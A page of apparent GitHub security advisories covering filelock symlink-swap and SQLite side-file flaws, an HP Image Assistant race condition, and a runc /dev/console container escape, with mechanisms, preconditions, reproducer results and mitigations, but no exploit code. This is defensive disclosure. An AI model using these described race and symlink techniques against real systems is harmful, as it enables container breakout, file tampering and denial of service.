`static.lock.filelock` gives `job skipped: SoftFileLockProtocolError` with the private directory holding `[]`. An undisturbed job prints `job ran` and leaves `work.lock.filelock` as `drwxr-xr-x`, owner uid 1000.\n\nThen the swap loop starts and the job (`with StrictSoftFileLock(path, timeout=1)`) runs up to 200 times until the private directory is no longer empty. That took 1 to 8 runs, about 1.5 s in total. Afterwards `claims`, a directory owned by uid 1000 and mode `0755`, is in the private directory; in some runs it holds `intent-v1-\u003ctoken\u003e.claim` and `held-v1-\u003ctoken\u003e.claim` files. Verdict `BUG`. In a `1777` directory on tmpfs (a memory-backed filesystem), with the other account having created `\u003cpath\u003e.filelock` first, the lock user created `T/claims` after 4, 22 and 2 runs in three trials. The scanner ran the four further cases under Mechanism in separate runs with the same accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`: all 200 runs completed with the private directory empty). The review\u0027s regression tests on POSIX cover the `claims`-level swap and the `force_break()` case. We did not verify Windows.\n\n## Impact\n\nAnother local user who can rename `\u003cpath\u003e.filelock` makes the lock user\u0027s process create a directory named `claims`, mode `0777 \u0026 ~umask` (umask: the process\u0027s default permission mask), inside any directory that process can write, and leave claim files in it. The other user chooses the location only. filelock fixes the directory name, and the files contain filelock\u0027s own claim record (magic, token, PID, host name, start token). The process overwrites or truncates nothing that exists. This amounts to directory and file creation outside the lock\u0027s directory with the lock user\u0027s privileges, not a write of chosen data.\n\nWhere the chosen directory already has a `claims` subdirectory, the lock user\u0027s process also scans it, unlinks entries named like stale private records, and raises an error that quotes the first other file name in it. Aimed at another strict lock\u0027s `.filelock` directory, the stranded claims deny that lock to every process until an operator finds and `force_break()`s each one. Without this the other user has no way to affect a lock in a directory it cannot enter. The swap at `claims` leaves one-byte `0600` dot-files instead of claims.\n\nThrough `claims`, another user learns one file name per planted link from a directory only the lock user can list, and whether a guessed path is missing or empty, a file or a directory. This needs the exception text or its `claim_name` to reach that user (a shared log, CI output, an error report); on its own this disclosure is minor. The `force_break()` variant puts two processes inside a different strict lock\u0027s critical section, one the other user can neither list nor write, with neither told. That happens only when the lock user runs the tutorial\u0027s blind recovery loop.\n\nThis shares only the bug class with GHSA-j8f7-rjxc-mr56 (the symbolic link at the `ReadWriteLock` database path, fixed in 4.0.9). There the other user chose the file the lock opened. Here the link sits one component above the final one, the other user swaps it in after the check that refuses it, and it chooses only the parent directory.\n\n## Workarounds\n\nKeep strict locks in a directory no other user can write. In a sticky shared directory, create `\u003cpath\u003e.filelock` as the service user before any other account can, and check its owner before first use. Do not run the recovery loop from `docs/tutorials.rst` on a lock in a shared directory without first verifying, as `docs/how-to.rst` says, that the owner named in each claim is gone. Treat an unexpected `SoftFileLockProtocolError` that quotes an unknown claim name as a sign that `claims` may point elsewhere. Keep the exception text of `claims` out of logs other accounts can read. On Windows, keep the lock directory writable only by trusted users.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SVFEYX89`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:41 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)",
  "id": "GHSA-m462-7rxw-wvpg",
  "modified": "2026-10-28T21:08:23Z",
  "published": "2026-10-28T21:08:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-m462-7rxw-wvpg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock: StrictSoftFileLock follows a symbolic link swapped in at \u003cpath\u003e.filelock and creates claim files in a directory another local user chooses"
}

GHSA-P28C-VHGJ-66R6

Vulnerability from github – Published: 2025-12-03 18:30 – Updated: 2025-12-06 00:31
VLAI
Details

A potential security vulnerability has been identified in HP Image Assistant for versions prior to 5.3.3. The vulnerability could potentially allow a local attacker to escalate privileges via a race condition when installing packages.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-03T17:15:49Z",
    "severity": "MODERATE"
  },
  "details": "A potential security vulnerability has been identified in HP Image Assistant for versions prior to 5.3.3. The vulnerability\n               could potentially allow a local attacker to escalate privileges via a race condition when installing packages.",
  "id": "GHSA-p28c-vhgj-66r6",
  "modified": "2025-12-06T00:31:35Z",
  "published": "2025-12-03T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13492"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_13505078-13505143-16/hpsbgn04078"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QW9X-CQR3-WC7R

Vulnerability from github – Published: 2025-11-05 17:34 – Updated: 2025-11-18 18:37
VLAI
Summary
runc container escape with malicious config due to /dev/console mount and related races
Details

Impact

This attack is very similar in concept and application to CVE-2025-31133, except that it attacks a similar vulnerability in a different target (namely, the bind-mount of /dev/pts/$n to /dev/console as configured for all containers that allocate a console).

In runc version 1.0.0-rc3 and later, due to insufficient checks when bind-mounting /dev/pts/$n to /dev/console inside the container, an attacker can trick runc into bind-mounting paths which would normally be made read-only or be masked onto a path that the attacker can write to. This happens after pivot_root(2), so this cannot be used to write to host files directly -- however, as with CVE-2025-31133, this can load to denial of service of the host or a container breakout by providing the attacker with a writable copy of /proc/sysrq-trigger or /proc/sys/kernel/core_pattern (respectively).

The reason that the attacker can gain write access to these files is because the /dev/console bind-mount happens before maskedPaths and readonlyPaths are applied.

Additional Findings

While investigating this issue, runc discovered some other theoretical issues that may or may not be exploitable, as well as taking the opportunity to fix some fairly well-known issues related to consoles.

Issue 1: Problematic Usage of os.Create

Go provides an os.Create function for creating files, which older code in runc (dating back to the original libcontainer from the early 2010s) had a tendency to use fairly liberally. os.Create implies O_CREAT|O_TRUNC but by design it does not apply O_NOFOLLOW nor O_EXCL, meaning if the target is swapped with a malicious symlink runc can be tricked into truncating host files (which can lead to denial of service attacks, among other concerns).

Runc conducted an audit of all os.Create usages in runc and found some suspicious usages related to device inodes, but based on runc's testing these were not exploitable in practice. Runc now has custom code lints to block any os.Create usage in runc, and plan to do a further audit of any other plain os.* operation usage throughout runc after this advisory becomes public.

CVE-2024-45310 was a similar attack but without the O_TRUNC component (which resulted in a "Low" severity) -- a similar attack being exploitable would've been much more severe.

Issue 2: Malicious /dev/pts/$n Inode Attacks (TIOCGPTPEER)

The (very) classic API for constructing consoles involves first opening /dev/ptmx for reading and writing. This allocates a new pseudo-terminal and the returned file descriptor is the "master" end (which is used by higher-level runtimes to do I/O with the container).

Traditionally, in order to get the "slave" end, you do ioctl(ptm, TIOCGPTN) to get the pseudo-terminal number and then open the file in /dev/pts/ with the corresponding base-10 decimal number of the number returned by TIOCGPTN. The naive way of doing this is vulnerable to very basic race attacks where /dev/pts/$n is replaced with a different pseudo-terminal or other malicious file.

In order to provide a mechanism to mitigate this risk, Aleksa Sarai (@cyphar from SUSE) implemented TIOCGPTPEER back in 2017 to provide a race-free way of doing the last TIOCGPTN step by opening the peer end of the pseudo-terminal directly. However, at the time it was believed to be too impractical to implement this protection in runc due to its no-monitor-process architecture (unlike runtimes like LXC which made use of TIOCGPTPEER almost immediately). While working on this advisory, runc found a way to make TIOCGPTN usage on pre-4.13 kernels still safe against race attacks and so have implemented both TIOCGPTPEER support as well as safe TIOCGPTN support as a fallback.

Another possible target of attack would be replacing /dev/ptmx or /dev/pts/ptmx with a different inode and tricking runc into trying to operate on it. This is very similar to the core issue in CVE-2025-31133 and had a similar solution.

Runc's analysis was that while this attack appears to be potentially problematic in theory, it seems unlikely to actually be exploitable due to how consoles are treated (runc tries to do several pseudo-terminal-specific ioctls and will error out if they fail -- which happens for most other file types). In principle you could imagine a DoS attack using a disconnected NFS handle but it seems impractical to exploit. However, runc felt it prudent to include a solution (and this also provides a safe mechanism to get the source mount for the /dev/console bind-mount issue at the beginning of this advisory).

Patches

This advisory is being published as part of a set of three advisories:

  • CVE-2025-31133
  • CVE-2025-52881
  • CVE-2025-52565

The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:

  • db19bbed5348 ("internal/sys: add VerifyInode helper")
  • ff94f9991bd3 ("*: switch to safer securejoin.Reopen")
  • 531ef794e4ec ("console: use TIOCGPTPEER when allocating peer PTY")
  • 398955bccb7f ("console: add fallback for pre-TIOCGPTPEER kernels")
  • 9be1dbf4ac67 ("console: avoid trivial symlink attacks for /dev/console")
  • de87203e625c ("console: verify /dev/pts/ptmx before use")
  • 01de9d65dc72 ("rootfs: avoid using os.Create for new device inodes")
  • aee7d3fe355d ("ci: add lint to forbid the usage of os.Create")

runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched.

Mitigations

  • Use containers with user namespaces (with the host root user not mapped into the container's user namespace). This will block most of the most serious aspects of these attacks, as the procfs files used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files.

An attacker would still be able to bind-mount host paths into the container but if the host uids and gids mapped into the container do not overlap with ordinary users on the host (which is the generally recommended configuration) then the attacker would likely not be able to read or write to most sensitive host files (depending on the Unix DAC permissions of the host files). Note that this is still technically more privilege than an unprivileged user on the host -- because the bind-mount is done by a privileged process, the attacker would be able to get access to directories whose parents may have denied search access (i.e., they may be able to access paths inside a chmod 700 directory that would normally block them from resolving subpaths).

Runc would also like to take this opportunity to re-iterate that runc strongly recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation inside the container -- most container runtimes apply a seccomp-bpf profile which blocks unshare(CLONE_NEWUSER) inside containers regardless of whether the container itself uses user namespaces.

Rootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc.

  • For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling noNewPrivileges to disable any setuid or set-capability binaries. (Note that this is runc's general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to use ping in your containers, there is a net.ipv4.ping_group_range sysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries.
  • Do not run untrusted container images from unknown or unverified sources.
  • The default containers-selinux SELinux policy mitigates this issue, as (unlike CVE-2025-31133) the /dev/console bind-mount does not get relabeled and so the container process cannot write to the bind-mounted procfs file by default.

Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881.

  • The default AppArmor policy used by Docker and Podman does not mitigate this issue (as access to /dev/console) is usually permitted. Users could create a custom profile that blocks access to /dev/console, but such a profile might break regular containers.

Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so the mitigation provided with a custom profile is not that helpful when considered in combination with CVE-2025-52881.

Other Runtimes

As this vulnerability boils down to a fairly easy-to-make logic bug,runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability.

Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but their security stance is (understandably) that non-user-namespaced containers are fundamentally insecure by design.

Credits

Thanks to Lei Wang (@ssst0n3 from Huawei) and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering and reporting the main /dev/console bind-mount vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for discovering Issues 1 and 2 and the original research into these classes of issues several years ago.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc3"
            },
            {
              "fixed": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0-rc.1"
            },
            {
              "fixed": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.0-rc.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0-rc.1"
            },
            {
              "fixed": "1.4.0-rc.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T17:34:49Z",
    "nvd_published_at": "2025-11-06T20:15:49Z",
    "severity": "HIGH"
  },
  "details": "### Impact ###\nThis attack is very similar in concept and application to CVE-2025-31133, except that it attacks a similar vulnerability in a different target (namely, the bind-mount of `/dev/pts/$n` to `/dev/console` as configured for all containers that allocate a console). \n\nIn runc version 1.0.0-rc3 and later, due to insufficient checks when bind-mounting `/dev/pts/$n` to `/dev/console` inside the container, an attacker can trick runc into bind-mounting paths which would normally be made read-only or be masked onto a path that the attacker can write to. This happens after `pivot_root(2)`, so this cannot be used to write to host files directly -- however, as with CVE-2025-31133, this can load to denial of service of the host or a container breakout by providing the attacker with a writable copy of `/proc/sysrq-trigger` or `/proc/sys/kernel/core_pattern` (respectively). \n\nThe reason that the attacker can gain write access to these files is because the `/dev/console` bind-mount happens before `maskedPaths` and `readonlyPaths` are applied.\n\n#### Additional Findings ####\nWhile investigating this issue, runc discovered some other theoretical issues that may or may not be exploitable, as well as taking the opportunity to fix some fairly well-known issues related to consoles.\n\n##### Issue 1: Problematic Usage of `os.Create` #####\nGo provides an `os.Create` function for creating files, which older code in runc (dating back to the original `libcontainer` from the early 2010s) had a tendency to use fairly liberally. `os.Create` implies `O_CREAT|O_TRUNC` but by design it does not apply `O_NOFOLLOW` nor `O_EXCL`, meaning if the target is swapped with a malicious symlink runc can be tricked into truncating host files (which can lead to denial of service attacks, among other concerns). \n\nRunc conducted an audit of all `os.Create` usages in runc and found some suspicious usages related to device inodes, but based on runc\u0027s testing these were not exploitable in practice. Runc now has custom code lints to block any `os.Create` usage in runc, and plan to do a further audit of any other plain `os.*` operation usage throughout runc after this advisory becomes public. \n\nCVE-2024-45310 was a similar attack but without the `O_TRUNC` component (which resulted in a \"Low\" severity) -- a similar attack being exploitable would\u0027ve been much more severe.\n\n##### Issue 2: Malicious `/dev/pts/$n` Inode Attacks (`TIOCGPTPEER`) #####\nThe (very) classic API for constructing consoles involves first opening `/dev/ptmx` for reading and writing. This allocates a new pseudo-terminal and the returned file descriptor is the \"master\" end (which is used by higher-level runtimes to do I/O with the container). \n\nTraditionally, in order to get the \"slave\" end, you do `ioctl(ptm, TIOCGPTN)` to get the pseudo-terminal number and then open the file in `/dev/pts/` with the corresponding base-10 decimal number of the number returned by `TIOCGPTN`. The naive way of doing this is vulnerable to very basic race attacks where `/dev/pts/$n` is replaced with a different pseudo-terminal or other malicious file. \n\nIn order to provide a mechanism to mitigate this risk, Aleksa Sarai (@cyphar from SUSE) implemented `TIOCGPTPEER` back in 2017 to provide a race-free way of doing the last `TIOCGPTN` step by opening the peer end of the pseudo-terminal directly. However, at the time it was believed to be too impractical to implement this protection in runc due to its no-monitor-process architecture (unlike runtimes like LXC which made use of `TIOCGPTPEER` almost immediately). While working on this advisory, runc found a way to make `TIOCGPTN` usage on pre-4.13 kernels still safe against race attacks and so have implemented both `TIOCGPTPEER` support as well as safe `TIOCGPTN` support as a fallback. \n\nAnother possible target of attack would be replacing `/dev/ptmx` or `/dev/pts/ptmx` with a different inode and tricking runc into trying to operate on it. This is very similar to the core issue in CVE-2025-31133 and had a similar solution. \n\nRunc\u0027s analysis was that while this attack appears to be potentially problematic in theory, it seems unlikely to actually be exploitable due to how consoles are treated (runc tries to do several pseudo-terminal-specific `ioctl`s and will error out if they fail -- which happens for most other file types). In principle you could imagine a DoS attack using a disconnected NFS handle but it seems impractical to exploit. However, runc felt it prudent to include a solution (and this also provides a safe mechanism to get the source mount for the `/dev/console` bind-mount issue at the beginning of this advisory).\n\n### Patches ###\nThis advisory is being published as part of a set of three advisories:\n\n  * CVE-2025-31133\n  * CVE-2025-52881\n  * CVE-2025-52565\n\nThe patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:\n\n * db19bbed5348 (\"internal/sys: add VerifyInode helper\")\n * ff94f9991bd3 (\"*: switch to safer securejoin.Reopen\")\n * 531ef794e4ec (\"console: use TIOCGPTPEER when allocating peer PTY\")\n * 398955bccb7f (\"console: add fallback for pre-TIOCGPTPEER kernels\")\n * 9be1dbf4ac67 (\"console: avoid trivial symlink attacks for /dev/console\")\n * de87203e625c (\"console: verify /dev/pts/ptmx before use\")\n * 01de9d65dc72 (\"rootfs: avoid using os.Create for new device inodes\")\n * aee7d3fe355d (\"ci: add lint to forbid the usage of os.Create\")\n\nrunc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per [runc\u0027s new release model](https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md), runc 1.1.x and earlier are no longer supported and thus have not been patched.\n\n[CVE-2025-31133]: https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2\n[CVE-2025-52565]: https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r\n[CVE-2025-52881]: https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm\n[RELEASES.md]: https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md\n\n### Mitigations ###\n* Use containers with user namespaces (with the host root user not mapped into the container\u0027s user namespace). This will block most of the most serious aspects of these attacks, as the `procfs` files used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files. \n\nAn attacker would still be able to bind-mount host paths into the container but if the host uids and gids mapped into the container do not overlap with ordinary users on the host (which is the generally recommended configuration) then the attacker would likely not be able to read or write to most sensitive host files (depending on the Unix DAC permissions of the host files). Note that this is still technically more privilege than an unprivileged user on the host -- because the bind-mount is done by a privileged process, the attacker would be able to get access to directories whose parents may have denied search access (i.e., they may be able to access paths inside a `chmod 700` directory that would normally block them from resolving subpaths). \n\nRunc would also like to take this opportunity to re-iterate that runc **strongly** recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation *inside* the container -- most container runtimes apply a seccomp-bpf profile which blocks `unshare(CLONE_NEWUSER)` inside containers regardless of whether the container itself uses user namespaces. \n\nRootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. \n\n * For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling `noNewPrivileges` to disable any setuid or set-capability binaries. (Note that this is runc\u0027s general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to use `ping` in your containers, there is a `net.ipv4.ping_group_range` sysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries. \n * Do not run untrusted container images from unknown or unverified sources.\n * The default `containers-selinux` SELinux policy mitigates this issue, as (unlike CVE-2025-31133) the `/dev/console` bind-mount does not get relabeled and so the container process cannot write to the bind-mounted procfs file by default.\n\n   Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881.\n\n * The default AppArmor policy used by Docker and Podman does not mitigate this issue (as access to `/dev/console`) is usually permitted. Users could create a custom profile that blocks access to `/dev/console`, but such a profile might break regular containers.\n\n   Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so the mitigation provided with a custom profile is not that helpful when considered in combination with CVE-2025-52881.\n\n[CVE-2025-31133]: https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2\n[CVE-2025-52881]: https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm\n\n### Other Runtimes ###\nAs this vulnerability boils down to a fairly easy-to-make logic bug,runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability.\n\nBased on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but [their security stance][lxc-security] is (understandably) that non-user-namespaced containers are fundamentally insecure by design.\n\n[lxc-security]: https://linuxcontainers.org/lxc/security/\n\n### Credits ###\n\nThanks to Lei Wang (@ssst0n3 from Huawei) and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering and reporting the main `/dev/console` bind-mount vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for discovering Issues 1 and 2 and the original research into these classes of issues several years ago.",
  "id": "GHSA-qw9x-cqr3-wc7r",
  "modified": "2025-11-18T18:37:10Z",
  "published": "2025-11-05T17:34:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52565"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/01de9d65dc72f67b256ef03f9bfb795a2bf143b4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/398955bccb7f20565c224a3064d331c19e422398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/531ef794e4ecd628006a865ad334a048ee2b4b2e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/9be1dbf4ac67d9840a043ebd2df5c68f36705d1d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/aee7d3fe355dd02939d44155e308ea0052e0d53a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/db19bbed5348847da433faa9d69e9f90192bfa64"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/de87203e625cd7a27141fb5f2ad00a320c69c5e8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/ff94f9991bd32076c871ef0ad8bc1b763458e480"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencontainers/runc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "runc container escape with malicious config due to /dev/console mount and related races"
}

GHSA-V4X8-3WR5-3WQ8

Vulnerability from github – Published: 2026-10-23 21:59 – Updated: 2026-10-23 21:59
VLAI
Summary
filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files
Details

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to /proc/self/fd/<n>, a Linux path that names the process's own open file n. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on -journal, -wal and -shm files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.

Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary read_lock() or write_lock() write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as /tmp a planted -wal file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the /proc/self/fd redirect since 4.0.9, the side-file variants since 3.20.4).

Anthropic's OSS Scanner reported this in private as ANT-2026-KMJ2575J [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 7.1 (High). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. I:H (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. A:H (high availability impact): the other user makes every acquire fail or kills the lock holder. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.

Scope and preconditions

  • The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a 0777 directory or a group-writable one (including a setgid 2775 project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is 0666. filelock itself creates the database 0600.
  • Sticky directories (/tmp, /var/tmp, any 1777 directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with fs.protected_regular=2). What remains is a planted non-empty <db>-wal (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise sqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if fs.protected_hardlinks=0.
  • Two kernel settings matter. fs.protected_regular (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in /tmp, and SQLite follows a planted symlink itself (not tested). fs.protected_hardlinks=1 (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.
  • Platform and route. The /proc/self/fd redirect is Linux with /proc mounted, 4.0.9 and later. The side-file variants (-journal, -wal, -shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without /proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.
  • Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496b0273: _connect_through_descriptor builds /proc/self/fd/<n> and hands it to sqlite3.connect. The assumption is the comment at line 63, "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at PRAGMA journal_mode=MEMORY, line 816. The check in _raise_if_database_replaced at line 836 runs only after BEGIN. Both _open_lock_database and _raise_if_wal inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is _link_beside.

Introduced

The /proc/self/fd redirect came with 4d45e83 ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified: git tag --contains 4d45e83 gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)"), first released in 3.20.4 (verified), which passed the lock path straight to sqlite3.connect.

Mechanism

